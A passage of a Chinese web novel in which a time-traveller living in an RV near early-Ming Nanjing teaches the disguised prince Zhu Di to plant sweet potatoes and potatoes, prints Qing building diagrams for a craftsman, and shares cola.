而在京郊的河边,荒草遮盖住的河边,某人正在那房车里,开心地玩着野蛮6。 “草拟吗的甘地,又想核平我!淦里凉!” 第十九章 耕田,原来是要农具的 “什么,要我去耕田?!” 有个看起来也就将将成年的少年站在了殿内,一脸大无语的样子。 “什么?让四弟去耕田?!” 而朱标,在旁边,比朱棣还要无语。 他们三人方才还在完善那内阁制的细节。 突然朱元璋问了下陪侍时间,就说要急召朱棣过来这里。 然后,便是开口就是让他去种地。 倒不是说朱棣他娇生惯养,恰恰相反,朱棣可是打小就接受了严格的教育,穿麻鞋和普通士兵一起练习武备,就是他的儿时记忆。 略微长大点,又被他老爹朱八八三次派驻到中都凤阳,不仅要练武,还要去体会一些民间的生活。 只是,明年满20岁他就要去北平封地就藩了啊,这个节骨眼,去耕什么田…… 所以,朱棣和朱标,都想要一个解释。 “对了,伯温,好像还没和他们说是吧。” “是的陛下。” 两个老头呵呵一笑,把站在一旁的朱棣和朱标,弄得更加满头雾水。 “老四,咱叫你去耕的可不是普通的田啊,那可是我们大明未来的根基啊。”朱元璋眯起了眼睛。 他说的是实话,如果按照朱安宁所言,亩产如此夸张的两种作物,将是未来大明的重要基石。 民间饥一顿饱一顿的状况将得到极大的缓解。 自己这个皇帝老儿当年起兵造反,不就是为了一口饭么。 人人有饭吃,未来还会有谁去造反? “父皇……是伯温先生寻到龙脉了?” 朱棣眼神一凛,瞄了眼一边站着的刘伯温,他发散性地想到了一些民间传说…… “什么龙脉?”朱元璋愣了半晌,然后便也是知道了自己的儿子大概是会错意了:“我叫你去耕的,就是真正的田,什么龙脉不龙脉的!” “啊,父皇?虽然您教导过我们要做到民间细事,无不究知,但是叫我去……” “一位名叫朱安宁的域外行商献了两种新作物,一种名番薯,亩产10石,一种名土豆,亩产7石。”朱元璋只是淡淡地把话说完。 然后,便看见了朱棣瞳孔放大了好几倍。 他一把扯住了朱元璋,像是不可置信般又重复问了一句:“父皇你说多少石?!” 朱标,则相对比较稳重,没有太过失态。 “老四,稳重点,你看你大哥,有你这么咋咋乎乎的么?!”朱元璋盯了眼朱棣,又对朱标点了点头,似乎是很满意他的表现。 只是朱标自己心里知道……他今天已经被震惊太多次了,这个新作物的事情确实也很震惊,但是……他已经被震麻了啊……这哪是稳重,这只是麻木了而已。 “父皇,这么逆天的作物?真的存在?”朱棣依旧还是有些不信。 要说朱元璋,在最初时,也是觉得这作物的事情有点悬,只是今日听了朱安宁的内阁制,不自觉已经对他多了点信任感,心里自然觉得,这10石之数,大概是大差不差的了。 “那作物,咱和诚意伯都吃过其中一种,味道上佳,要说亩产究竟是否有十和七这个数,不就正是你要去做的事情么?” 朱元璋拍了拍朱棣的肩膀。 说实话,他还是很看重这个老四的,不然也不会三次派他回凤阳驻守了。 “父皇,您的意思是,所谓的耕地,其实就是确认这两种新作物的亩产?” “除此之外,好好向那献新作物的朱安宁学那作物的耕种之法……不对,不仅是耕种之法,他可是有很多东西值得你学的。” “父皇,域外行商……能有什么学的啊?学会那耕种之法不就好了么?” 朱棣算是听懂了他老爹为什么说他要做的事情是大明的基石了。 只要把事情说清楚,对于耕地这种事情,他倒是没有多少抵触之心了。 毕竟,他小时候也是吃过很多苦头的。 但是你说要跟一个域外行商学其他东西,就有些搞笑了吧。 他行军布阵,武艺,都是当朝那几个最能打的大佬们教的。 文这一块,当年大本堂,朱元璋请了多少大儒来给他们这些皇子上课? 所以这朱安宁是武比得过那些大佬,还是文比得过那些大儒啊 看着朱棣一脸不服的样子。 朱标也好,刘伯温也好。 都是,不自觉地笑了起来。 少年人,还是欠点心性。 “行了行了,去找几个套衣服,给那安宁小弟带过去,然后好好跟人家学。对了,他并不知晓我们的身份,平日里他叫我伍爷,叫诚意伯是季爷,这样吧,你就说你是伍爷家的老四,你就叫伍燕吧。” 朱元璋,没有想过要解释些什么,他就是直接以下命令的形式,告诉了朱棣,他要做的事。 朱棣可是他儿子,作为老子,需要解释这么多? 在朱重八的诸多儿子中,也就是朱标勉强算是能和他平等对话罢了。 ———————————————————————— 打游戏是快乐的。 至少最开始时是快乐的。 只是,因为作死,调了高难度,还要抢建奇观。 被奇观误国的朱安宁,在野蛮6这个游戏中,迎来了自己的终局。 “鸡鸡鸡!打你吗哟,核弹洗地,一点都不环保,草!” 在房车内的朱安宁,打了个喷嚏,接着破口大骂。 他往后一躺,只觉得有点空虚。 “算了,种地去,别一会土豆和番薯都烂了,那就是真的鸡了,不能对不起自己的两个天使投资人啊!” 关于种植的一些事项,他早就记在了随身的记账本上。 微微唤醒了点大学时挑大粪种田时的记忆,朱安宁,满怀信心地跳到了车下。 手里拿的是挑好的番薯和土豆。 房车驻地旁边就是他挑好的实验田。 隐藏在高高的草堆边,又远离主干道,只要不是干什么逆天的事情,大概不会有人注意到这里吧。 说干就干,不同于穿越前007打工社畜,现在可是明朝创业嘿。 朱安宁还是有点干劲的。 他几个跨步就走到了田边。 说是田,不如说是荒地。 没有开垦好的那种。 拎着两袋东西的朱安宁,顶着太阳,突然想到了一件很重要的事情。 “我踏马,什么农具都没有啊!!!种个蛋啊!!!” 第二十章 朱家老四的朱哥 应天府,也就是天子脚下。 一片祥和是该有的气氛。 毕竟已经平和好些年了。 偶尔有陈友谅余部兴风作浪,也不会出现在这附近。 朱棣,或者叫伍燕毕竟合适,他正拎着一包衣物,在寻找着他老爹指示的小道,而他身后,还跟着了好几个人,这是他临出发前,朱元璋叫他带过去的工匠。说是要帮朱安宁建个小宅。 虽说这边是主干道,但是其实已经远离城门快要两里地有余,逐渐稀疏的人流,配上愈发茂盛的杂草,让朱棣知道自己应该已经要接近目的地。 “好像就是这里吧,父皇说有棵歪脖子树,看起来就适合吊人上去的那种……” 碎碎念着的少年郎,带着身后的人,踏入了小道。 而后,他忽地警惕了起来,连忙拦下了身后的人。 皆因草丛边,有点窸窸窣窣的声音。 虽然还未弱冠,但是十九岁有多的朱棣已经行伍多年。 他敏锐地注意到了这气氛有点不太对。 “哪来的蟊贼,敢在应天府地界造次。” 他大喝一声,然后,果断领人后退…… 朱棣知道,他拎的是衣服,可不是武器,身边这几人虽然军匠,但也不是什么行伍军人啊……不退等挨揍啊…… “燕……燕王殿下!”结果,草丛里走出来的是几个都尉府的人,作为老朱的四子,他自然也是认识这几个人的。 毕竟这几个人已经陪在他老爹身边好些年了,那是从至正时代就跟着他爹的亲卫中的亲卫啊…… 没想到被老朱派来了这里。 “嘘,燕王殿下请借一步说话……我们……”几个亲卫做贼似地想把朱棣拉开。 朱棣则多少有点哭笑不得。 他大概是猜出朱元璋派他们守在这里的。 只是没想到是戚祥他们几个守在这里,这戚祥可是朱元璋的贴身侍卫,现在这做贼似的在这里像什么话嘛…… “戚叔戚叔……是父皇派我过来的。” “是陛下有新的谕令?”戚祥听完朱棣的话语,咧嘴笑了起来,他这次按朱元璋的安排在这里已经守了两日有余了。 每天和剩下的两个弟兄,不是看蚂蚁就是数叶子……哪有人会来这偏僻的废弃小路嘛,至于陛下说的里面的人,那更是出都没出来过…… 这两日,见到的活人就没几个个,刨除中午时分的朱元璋和刘伯温,就是下午的朱棣众人了。 想到这燕王可能是来告诉自己可以收队回城的,戚祥就止不住有点开心。 没办法……太无聊了啊! “我,呃,我现在叫伍燕,这段时间要去和里面的人处理点机密要事。”朱棣知道新粮的事是断然不能随便说出来的。 “殿下,那我们三呢?陛下怎么说。” “父皇未曾交代过我其他事项……”他算是看出来了,这戚祥他们几个人,是想回城了吧……只是,他也不知道朱元璋接下来的安排,哪敢贸贸然放戚祥他们走,他父皇的鞋底子和棍子,打人还是很疼的。 “这……”于是,戚祥的笑脸,就此消失。 “啊,戚叔,我们先去和里面的人汇合咯,这里就交给三位了。”这三人,虽然可怜,但是,耕田也不算是什么好差事啊……呼,叹了口气的朱棣,挥手告别三人,走向了河边。 而此时,朱安宁正看着田地,和手中的番薯土豆,一脸懵逼。 朱棣没走多远便看到了那房车和随意摆在遮阳棚下的折叠椅和桌子。 当然,更远处的朱安宁,也落在了他的眼中。 怪不得父皇要自己带衣裳过来,这小哥的行走衣服,确实奇怪。 朱棣虽然好奇那房车和奇怪桌椅,但是从小就接受过良好教育的朱棣同学,首先还是想过去和朱安宁打招呼。 他叫停了身后的工匠,令他们先在此处静候,自己先去问候一番。 房车和荒地之间,并没有几步路。 朱棣都已经想好了开场白。 耳边,却突然传来了一声哀嚎。 “我踏马,什么农具都没有啊!!!种个蛋啊!!!” 是朱安宁抓狂的声音。 这突如其来的骂街声,着实是把朱棣吓了一跳。 虽不知在说些什么,但中气十足……明明长相还算俊朗,怎就一副慵懒样衰相呢…… 这是朱棣,对朱安宁的第一印象。 而还想继续骂些什么的朱安宁,也发现了身后来了个人,更远处还有几个拎着乱七八糟工具的家伙。 “呃……”于是更多的国粹,变成了一个呃字。 骂街只在无人处,朱安宁还是有点底线的…… 他看见眼前人年纪也不像很大的样子,算得上是英姿勃发,这放穿越前的高中,妥妥地校草的那种级别啊。 看见朱安宁在打量自己,朱棣连忙开始自我介绍。 “见过安宁兄,我乃……”这自我介绍,不太习惯,朱棣有点卡壳:“我乃伍武的第四子,伍燕,家父遣我前来给安宁兄送衣服,及看安宁兄是否需要人手帮忙些其他事物。” “伍武?哦,是伍爷是吧,谢谢啦。”看着对方递过来的衣服,朱安宁眼前一亮,有了衣服,自己就可以扩大活动范围了啊!不用天天憋在这小地方了。 当然,朱棣说的后半句,他也是听了进去的。 依他的理解是。 季爷家里出两个空降的,这伍爷家出一个来领功,毫无问题啊! “是伍爷遣你来帮我耕田的是吧。”于是朱安宁开门见山。 这倒是让朱棣省了不少口舌。 “是的,接下来这段时间,就全凭安宁兄差遣了。”他知道新粮事大,这年轻人的重要性不言而喻,于是连忙规规矩矩地作揖。 “哎呀,你我差不了几岁,我二十六,看你样子也就二十上下吧,不用安宁兄安宁兄这么麻烦,我姓朱,你叫我朱哥就行了。” “呃……”朱哥啊……有点别扭呢,但是好像又很合理啊,别人的姓确实也是朱,朱棣也没办法拒绝,只要顺着喊了句:“好的,朱哥……对了,家父还交代了朱哥这般想建宅子,这几人是家父相熟的工匠,手艺好,干活快,嘴巴还紧。” 朱棣特意强调了最后一句,然后看向了朱安宁。 朱安宁自然听懂了他想表达什么。 “真是麻烦伍伯了。” “那朱哥,你的宅子,想怎么建呢?” “怎么建?”这倒是个没有想过的问题啊,朱安宁摸了摸下巴,陷入了思索之中。 第二十一章 大明打灰人(求追读啊!) 河边荒地。 朱安宁站在那沉思。 然后,脑袋一片浆糊。 园林是逛了不少,但是明显自己是没有这个财力物力去建设那种玩意的。 但是你要说就是整两间土胚,那这也太寒碜了吧,有辱应天府户口! 见朱安宁好似有些拿捏不定,一旁的朱棣倒是很有眼力见。 “朱……朱哥,若是暂时拿不定主意,不如问问工匠意见?” 他提出了恰当的意见。 “哦,小燕,有道理啊。”朱安宁拍了拍朱棣的肩膀,目光投向了远处的那批匠人。 自然是忽略了朱棣尴尬的表情。 朱哥……小燕……这种奇怪的称谓,要持续到耕种结束么? 能不能快点放我回北平啊。 突然就很想就藩了呢。 朱安宁几步就走到了那几个匠人身边。 而此时的匠人们,正对着朱安宁的房车啧啧称奇。 “这……这你说是马车吧,又有点奇怪,你说不是马车吧,又有轮子,只是这轮子,啧啧啧……”领头的匠人,皱着眉头,一副很是不解的样子。 待到朱安宁走近,他才回过神来。 “别看了,上位交代的东西,你们都记清楚了么,非礼勿视,非礼勿问!” 他轻喝了一声。 阻止了手下的人继续向房车那边张望。 “那个……小弟姓朱……”走到他们跟前的朱安宁,开口自然是自我介绍。 然后,蒯武的心跳多少有些加速。 姓朱啊…… 这…… 哎,不该问的不能问! 他额头流下了几丝汗水,忽然觉得自己好像卷进了什么很不得了的事情了。 怪不得刚才看燕王殿下都如此客气…… “见过朱公子,在下是蒯富,是这批工匠的头儿,这伍老爷请我过来给您建宅,不知朱公子这边有什么特殊要求没有?” 蒯富不敢多问,也不敢怠慢,连忙交代了自己的身份,他身后的人能被朱元璋挑来,也不是什么大脑残障人士,多少看得出朱安宁身份有些不一般,都在那站立不语,权交给那蒯富来与朱安宁搭话。 “特殊要求啊……”朱安宁本身还在想宅子的事情,却忽然注意到刚才蒯富的说辞。 “蒯富?”他又开口确认了一次。 “在,朱公子这边有什么想法?”那蒯富听到朱安宁叫他,连忙应承,延迟不超过10ms。 “啊,没有没有……”朱安宁哪那么快能想好那宅子如何建,他只是在确认蒯富的姓名而已。 奶奶的,这伍大爷有点东西啊,朱安宁虽然面不改色,但是心里还是掀起了不小的波澜。 蒯富!!! 多得大学那几个社团的好基友。 他还是知道蒯富是谁的,准确来讲,他更清楚的是蒯富的儿子蒯祥。 参建北京天安门及诸宫大殿的蒯祥!!! 土木狗好基友出身江苏苏州,每每喝酒就在那吹嘘自己家乡江苏吴县出生的蒯祥,作为明代的木工首有多牛逼多牛逼,自己这作为同乡,又是读土木专业,这多重因果加身,毕业之后必然一飞冲天! 四年了。 朱安宁喝酒没吐几次,但是这故事他算是快要听吐了。 每次喝酒,那好基友一开口,身边的人都能陪他一起背出来。 当然,毕业后的好基友,冲天是有难度的,冲是冲了,不过是非洲,成为了某局的打灰工。 “天不生我土木人,工地万古如长夜,灰来!!!”某日,好基友像癫了一样给他发了个微信,和差不多与非洲人融为一体的照片。 这让朱安宁是多少有点担心土木狗的精神状态的。 可惜,还未去非洲看望友人…… 他就穿越了。 好基友念叨了四年的人,他爹,就这样出现在了自己眼前。 饶是朱安宁心理素质过关,也觉得有些魔幻。 毕竟按他自己所想,穿越过来这明初,朱元璋朱标朱棣朱允炆刘伯温李善长等这一类一线历史人物,他是一个都没见过的,现在能见到历史名人,他爹,也挺有意思的啊。 而且蒯祥这么虎,他爹应该也不差吧。 老伍牛逼! 他不禁眉开眼笑起来。 觉得自己这宅子应该算是没问题了。 “蒯工匠,我现在一时也不知道该怎么讲……”他挠了挠头,决定把设计院落这个艰巨的任务,交给蒯富他们。 蒯富不是傻子,作为木工首他自然听懂了朱安宁要表达的意思。 “朱公子,能否允许在下带人过去看看那片土地,然后再给您几个板式,您挑选一下?” 哇,不愧是木工首,他爹……呃……该不会这蒯富也是木工首吧。 好像也不太可能,那老伍就是个土绅,应该没有那么大能量吧…… 算了,不管了,靠谱就行。 “好的好的。”朱安宁连忙点头,却又突然想起了一件重要的事情:“对了,蒯工匠,我那个是西域那边拉来的房舍马车,现在动是动不了,我准备当房舍用,您帮忙给我弄一个院落,围墙高一点,把它围在中间,然后帮我在对着路的那个方向弄个侧门,有必要可以打开供我车出入的那种。” 朱安宁没有办法掩盖房车的客观存在,索性又继续胡诌是西域的房舍马车…… 反正古人也看不懂那些合金板材之类的东西,只要他们不进到里面,不随便摸它,也就是觉得花里胡哨仅此而已。 “呵呵,这小问题,那我先带兄弟们去看看场地先咯。” 蒯富听完朱安宁的想法,那是大大的松了口气,朱安宁这种要求,那等于是没要求,对他这种有份参与建设皇宫的人来说,小儿科。 于是,他挥了挥手,示意身后的人可以开工。 而站在一旁等了许久的朱棣,也终于看见朱安宁有空闲,连忙走了上来。 “那个朱哥,耕种一事……”他轻声提醒了下。 “我去,忘了,小燕,你家离这应该不远,反正都在小田庄,我这边什么农具都没有,你赶紧回家给我带点过来,不然我们只能用手刨地了。”被提醒后的朱安宁,也终于想起了正事。 他又拍了拍朱棣的肩膀,觉得这不过是个小任务而已。 而只有朱棣知道。 首先,他家,也就是皇宫,离这非常远! 其次,他去哪里找农具啊! 小燕同志,突然就,有点汗流浃背了。 第二十二章 营造法式怎么比嘛(求追读啊!) 朱棣走在小道上。 在思索去哪里搞农具。 他是被朱安宁打发出来跑腿的。 堂堂燕王殿下,现在却在这里为了农具而发愁。 回宫是不可能回宫的。 如果回宫问朱重八要农具,他今天怕不是就得被抽死在那殿内了…… 那回府上……也好远啊,一来一回怕不是得太阳落山了啊。 自己这趟跑出来,钱银又没有带。 大无语的燕王殿下,踱步到了那和主干道的交汇处,一脸愁容。 然后他看到了在草丛冒了个头的戚祥。 “戚叔!戚祥叔!” “在!” “你有没带钱银。” “啊?” “有的话,快快带我去买些农具!” ———————————————— 把朱棣打发走的朱安宁并没有觉得对方的拿农具之旅会有多么艰辛,在他心中只是回了个家,拿点东西而已,作为土绅,伍燕家不能没有农具吧,是吧,是吧。 于是心安理得的朱安宁,趁工匠们还在那看地丈量,钻进了房车里。 其实刚才就有个想法,这院落不用建的太好,但是如果能建的舒适点,也是极好的啊。 非洲打灰工好基友的音容笑貌,不禁又出现在了他脑海里。 朱安宁连忙又打开了电脑,熟练地点开我的电脑。 “学习资料文件夹……”他一边碎碎念着,一边寻找着:“草,不是日本老师的学习资料……好像在F盘吧……” 鼠标点击声在房车里回响,不多时,朱安宁兴奋地喊了句。 “靠,还真有啊。” 他看着眼前的pdf文件,掩盖不住内心的兴奋,叫了起来。 清朝的《工程做法》加图解,原版pdf文件! 之前帮这个打灰鸟人存的论文资料居然还在! 朱安宁连忙翻看了起来。 他专业是生态工程,生物挂钩比较多,但是好歹也是工程,cad这种东西,和图纸,多少是有点相通的。 繁体字看得多少有点难受,好歹图解是看懂了。 于是,他终于可以。 挑选自己新家的版型! 蒯富他们一定是没问题的,但是,能建得更好,何乐而不为呢。 朱安宁不消多久,便挑了几个顺眼的院落,开始畅享自己住在里面的快乐日子。 然后,在他准备出去给蒯富看的时候。 他终于意识到了一件重要的事情。 这……他总不能捧着电脑去给外面的蒯富看吧。 房车还能圆,这电脑他是圆不回来的啊。 刚站起来的朱安宁,就这样僵在了那里。 “画在纸上?不行,自己可是著名抽象派画家,估摸到时连自己都看不懂画的是什么。”朱安宁很快就否决了画出来的想法。 “对了,那台破打印机!” 朱安宁猛然想到了自己家当里的那件东西。 穿越前为了在家里也能好好加班而购置的,墨盒式打印机,好像就是丢在了床下的储物柜里! 朱安宁连忙蹲了下去,打开了储物柜的门。 “真是幸好这是轻卡房车,不然怎么塞得下我那么多狗屎垃圾……这破打印机之前好像挂咸鱼了,挂了小半个月都没人要……”他一边嘟囔,一边摸到了那个厚重的箱子。 由于堆在相当深的位置里。 朱安宁就差爬到里面去,废了九牛二虎之力,总算是把那纸皮箱给抽了出来。 其实不算大,毕竟只是小型的打印机,难抽出来是因为朱安宁还在上面压了一大堆A4纸……这是当年没用完的家当,买了房车后,房子退租,这些东西他又舍不得丢,最后就这样堆到了房车里。 “我靠,这么多A4纸和墨水,我之前是有病吧,自己买打印机买A4纸加班……”微微吐槽了下从前的自己,朱安宁现在还是相当兴奋的。 打印机放以前是只能加班用。 而现在……好像用处有点大呀。 比如,打印《工程做法》图解,让外面的蒯工给他建个高级院落! 说干就干。 安装打印机不需要多少时间。 不过是插电然后直连电脑,然后伴随着打印机的嘟嘟嘟声音,几张图纸就这样出现在了朱安宁手中。 “哎,没有金手指,全靠我自己准备的物资齐,嘛……这样也好,省得自己心态膨胀参与进那些历史大事里,到时怎么死都不知道……”朱安宁看着手里的几张纸,笑了起来。 他还是相当满意这穿越后的生活的。 本来他就是辞职后想游历下祖国的大山大河。 那现在游历到明朝啊! 还有比这更酷的事情么? 而且自己小小努力了一下,用美食征服了两个土地主,还有了京爷户口和即将要拥有房子。 这放在其他穿越者身上可能是微不足道的小事。 但是对朱安宁来说已经很满足了。 打开房车门的他,又迅速关上。 车内的东西还是不宜暴露。 朱安宁没有拐弯抹角,他直接走到了蒯富身前,把手中的A4纸递了过去。 他也不怕蒯富看不懂,宋朝就已经有过类似的书籍《营造法式》,所以清朝这本,只是把建筑一事弄得更加标准而已。 而蒯富看着走向自己的朱安宁,还是有些紧张的,毕竟这年轻人也姓朱啊……姓朱就算了,好像还和陛下和燕王关系匪浅的样子…… 然而还未等他多想,几张细腻光滑的纸张便递到了他手上。 那手感不像是普通的纸张,只是现在更吸引蒯富的是其中的内容。 详尽的数据,详实的描述,还配备了完整的材料,方法,甚至还贴心地画出了具体的图例。 “这!!!!”于是他结巴了起来。 士农工商,虽然他们工的地位不高,但是依靠口口相传的技艺,还是能混得一口饭吃的,更不用说像他这种大工。 他一眼就看出了这些纸张的价值。 这是多么标准的建造图解啊!!! 随便一个工匠,都可以拿着这几张纸按图索骥,然后建造出合格的院落,房子。 最重要的是,它标准!他可直接复制,上面直接就标注了材料用料…… “这可比《营造法式》要精细得多啊!”蒯富震惊地看着那几张纸,有点口干舌燥,毕竟他是知道价值的内行人。 “营造法式?蒯工您是说宋朝那本么?哎,那本落后了。”朱安宁说得相当笃定。 事物都是螺旋上升的,你宋朝的技术,怎么和清朝的比嘛…… 第二十三章 扛着耙的燕王(求追读啊!) “朱公子,这图例,您就给我了?”蒯富在向朱安宁确认着,他小心谨慎地看着对方的表情,生怕自己会说错什么。 这倒是让朱安宁有点蒙圈,这就是几张标准的图例而已,怎么,很珍贵? 没有当过古代打灰人的朱安宁,是不了解这些纸张的价值的。 “对啊……”不给工头图纸,怎么建房子? 蒯富深吸了口气,他细心地把图纸收好,规规矩矩地对朱安宁行了个礼,然后回过头继续开始丈量土地和勘察土质。 此刻蒯富已经打定了注意,务必要按最高标准,去给朱安宁建这宅子,不然怎么对得起这宝贵的图纸。 他们这个行当,口口相传所谓的经验,就是为了个标准。 而这图纸,直接就把标准以图解的形式标注得清清楚楚。 这等于是宝贵武林秘籍随便给了。 这虽然无法培养出全才的工匠,但是只要有更多的这种图纸,那可是可以快速培养能用的工匠的,毕竟标准人家都给你定好了。 所以,蒯富才会惊讶于朱安宁的随意…… “啊,对了,蒯工,我这里还有几张,您也拿去参考吧。” “还有?!”蒯富接过对方随意抛来的纸张,终于是忍不住,叫了出声。 —————————— 朱棣扛着锄头、耙等农具,再一次回到了小道上。 这些工具是用来干嘛的。 戚祥是完全不想问的……一看就是耕田啊! 至于为什么要耕田…… 那上面的人有什么奇怪的爱好,或者是癖好,他就更不敢问了。 作为贴身侍卫,他的分寸感一向拿捏得很好。 只是不问,不代表他不能笑。 堂堂燕王,扛着锄头和耙等东西走在这农间小道上的模样,确实滑稽。 不仅是他,另外两个亲卫也憋着声音笑了起来。 而我们的伍燕同学,并没有过多在意,主要是,真的很重,灌溉用的木桶,松土的耙,除草的锄头,他尽量买齐且双份,这样带来的后果就是,即便是他这种大小就锻炼的人,依旧会有点寸步难行的感觉。 接棒戚祥他们笑声的是,工匠们的惊讶目光。 当然,随之而来的少不了憋笑。 “这朱公子,出手就是这些宝贵的图解,还好像很无所谓那般……还能差遣燕王去做苦力……真是不一般啊……”看着朱棣的样子,蒯富进一步相信了自己的判断。 “朱……朱哥,工具我拿来了……”气喘吁吁的朱棣,回到了房车前。 而把图纸交给蒯富后就躲回房车里的朱安宁,这才再次冒头。 映入眼帘的都是满头大汗的少年郎。 以及,他拿回来的农具。 朱安宁瞄了两眼便确定了,这和现代的那种手工农具没什么区别…… 都是锄头和耙。 自己又不是耕种很大范围,所以这点工具其实完全是够的,犁什么之类的,暂时不需要,当然了……这么大件东西,朱棣也拖不回来,就算拖来了,这儿也没牛啊。 匠工那边好像已经进入了下一个阶段,朱安宁看见他们已经凑在一起,应该是在商量怎么建,耗材多少之类的。 那,自己这边也开始正式耕种吧。 抬头看了眼太阳,现在也就是堪堪下午的时分,抓紧时间种下去先吧。 朱安宁回身锁好了房车。 现在人多,他绝不敢冒险。 然后才领着朱棣,又回到了田那边。 “你看过佃农耕田吧。”朱安宁没有多BB,而是直接切入主题。 他相信那伍爷能把自己儿子叫过来,总不能是拖后腿的吧。 就算是放到现代,混资历混项目如果太菜,也是会被人搞的啊。 “看过看过。”还在喘气的朱棣连忙点头。 以前在凤阳的时候,看得可多了。 “看过就行,松土会不会?就是用这个耙……”朱安宁也不敢全信朱棣真的就会耕地,毕竟是地主家的傻儿子,他按照大学时实习的记忆,开始教朱棣松土和除草。 朱棣看着朱安宁从最开始的有点生疏,到慢慢找回感觉,也终于是确定了,这个父亲口中的西域行商,确实是会耕地的,起码那把式,和自己看过的佃农耕种时……还挺像的。 “看懂了?”朱安宁擦掉额头的汗水,不住地喘气。 要死,社畜办公室坐久了,还是加班太多了,才锄这么点地,就喘得要死。 只是现在是作为老师去教人,总不能才锄几下就喊累吧。 “朱哥,我来试试吧,看着也不是很难。” “松土除草那是最简单的了,一会我们把各种作物种下去,还得想办法上肥,浇水,这两样才难受……” “朱哥,各种?家父只告诉了我番薯和土豆,还有其他主粮?” “这倒没有,主粮确实就是番薯和土豆,剩下的就是几样菜,一会给你试试吧,呵呵。” “好嘞,那我先把这块地松了先。”朱棣干起活来毫不含糊,这也是朱元璋喜欢这个四儿子的原因,当然,他最喜欢的还是好大儿。 相比起身强体壮的朱棣,朱安宁那边的进度就有点令人忧愁了。 “我靠,身子虚啊……”没挥舞几下锄头就累到不行的朱安宁连忙靠到了树边,那种将将要中暑的感觉是非常令人难受的。 朱棣却也没有因为朱安宁开始休息而停下工作。 “这小子可以啊。”看着少年郎不知疲倦的身姿,朱安宁不羡慕是假的,毕竟当年高二高三的时候,他也是处于智力和体力的巅峰,而后……那是每况愈下…… 看见朱棣如此卖力,朱安宁想到了房车里的那堆可乐。 朱元璋和刘伯温来了两次都是给他们喝啤酒。 现在这种热个半死的情况啤酒好像也不错。 但是伍燕这小子看起来也不大,要不给他试试可乐? 说干就干,朱安宁放下手中的农具,回头走进了房车里。 冰箱里可乐塞在了下方,现在毕竟物资紧缺,朱安宁也不敢说奢侈到直接给伍燕一整瓶,思索了片刻……他依旧是抠抠搜搜地拿出了纸杯…… 他和伍燕一人一杯吧。 至于工匠们……对不起了,这可乐很宝贵的……等竣工了再给你们吧。 第二十四章 快乐水就是快乐呀(求追读!) 朱棣是看到了朱安宁在那喘气休息,和回身去房车里的。 他只觉得这比自己大不了多少的朱安宁……好像有点虚啊。 是不是在西域那边吃不好穿不好啊……这才干了多久就不行了……父皇可是教过自己的,男人不能说不行。 所以朱棣还在咬牙坚持。 而且对朱棣而言,耕田这种事情,不比练武学文舒服得多…… 唯一的问题就是,买够了农具,但是没有买帽子,现在下午这太阳也不小,晒久了,就算朱棣再年轻,也免不了难受。 而这时,朱安宁回来了。 手里捧着两杯黑色的奇怪液体。 起码在朱棣的视角看来,就是奇怪的液体。 只见朱安宁笑眯眯地把杯子递给了停下工作的朱棣:“小燕,这可是好东西,我提前用凉石冰镇好的西域饮料,名曰可乐,你也可以叫它快乐水,这种天气,一口下去,那是爽冽无比啊!” 他介绍了一下,也是省得朱棣一会问东问西。 看着伍燕一脸问号地接过自己递过去的可乐,朱安宁自己也举杯先喝了一口。 “呜哇!透心凉,心飞扬。”朱安宁喊出了那句熟悉的雪碧广告词……虽然他现在喝的是可乐。 而此时的朱棣,看着那朱安宁的样子,也是不再继续好奇,喝上一口就知道什么感觉啦。 他也抿了一小口,然后……是没有犹豫地又一大口! 朱棣终于理解了什么叫透心凉!心飞扬! 太贴切了! 虽说现在不是炎炎夏日,但是在太阳下无遮挡地挥舞了锄头这么久,他也早就汗流浃背。 这一口可乐下去。 那种刺激的感觉穿过喉咙,直达心尖。 然后就是无尽的凉爽。 饶是朱棣这种见过不少奇珍异物的皇室子弟,都被震撼了。 “这这这!朱哥,好爽!”朱棣忍不住大声感叹道。 倒是也引来了不远处那群工匠的目光。 当然,他们的目光只停留了不足一秒,就很快被蒯富呵阻。 天知道那边在干嘛,只要不看,就不会知晓太多东西,就不会有什么危险。 给皇室打工打惯的了蒯富,对于这种事情是很有经验的,所以他也很能约束自己手下的人。 只是,他依旧还是有些好奇,是什么东西,能让燕王都发出如此的感叹。 是比自己手上那些图例还要珍贵的物品? 这朱公子真是了不得啊。 蒯富在心里感叹道。 而朱安宁怎么也想不到,蒯富现在对自己的身份猜想已经愈发离谱。 他现在看着朱棣那爽到要跳起来的样子。 只觉得很有意思。 “怎样,小燕,此物名为快乐水是不是很贴切?” “贴切至极啊!而且,怎会如此冰凉啊,四周也没有深滘和井啊。” “伍爷没和你说么?我有块效果和深井差不多的石头,能起到一定的冰镇作用。” “还有如此石头?小弟今天真是大开眼界了。” 之前,朱棣还只是摄于他老爹朱重八的命令,干活才如此卖力。 而现在,他只觉得朱安宁有点神秘啊。 会耕田也不算什么了不得的大事,只是他随手就能拿出这么奇特的饮料,好似还不怎么心疼的样子……莫非他那还有更多有意思的东西?! 少年的好奇心是抑制不住的。 他突然觉得这耕田生涯也许不会太过难受了。 “呵呵,可惜就是这快乐水,我存货也不算太多,只能这样杯饮辄止啦。” 朱安宁一口喝完那可乐,把杯子放到树下。 也是扛起了锄头。 这田,不耕,是种不了东西的,迟早要做的事情,还是赶紧做吧。 不同于穿越前的上班摸鱼。 这自己创业,朱安宁还是算有干劲的。 而同样喝完了可乐的朱棣,像是被扭上了发条般,挥舞锄头的速度,比方才还要快。 这一度让朱安宁怀疑自己给的是不是掺了红牛的可乐。 不知过了多久,挥舞得锄头都要冒火星的朱棣,被朱安宁按住了手肘。 “停停停,这样差不多了,我这边能播种的也不多,松那么大范围也没用,就这小半亩够用了。” 朱安宁在叫停朱棣后,开始用脚丈量这松完的范围,虽然不太准确,但是也算是可以计算亩产了。 朱棣只见朱安宁开始熟稔地丈量土地,然后,掏出了袋子里的奇怪作物,就这样塞进了松好的土里。 “搞定!”朱安宁拍了拍手掌。 “朱哥,这就可以了?那边还没种啊……” “呵呵,这番薯和土豆,要先催苗,然后再分成小块散到其他地方去,现在先催两天苗再说。来,小燕,这一边未来是种番薯土豆的,然后这边,让我们来种点其他东西吧!” 朱安宁一边说着,一边把之前收集好的辣椒种植,递给了朱棣。 而自己,则掏出了一把玉米粒。 他没有把玉米的事情告诉那朱元璋和刘伯温。 无他,是因为他觉得玉米产量不高。 但是,昨晚他在翻大学资料时才注意到,虽然玉米产量也就几百斤,但是种植方式要比番薯和土豆还粗放啊。 所以,也是值得种的! 既然之前忘记说了,那就作为保密作物,到时再给他们一点惊喜吧。 朱棣看着手中那小小粒的种子,忍不住好奇闻了一下。 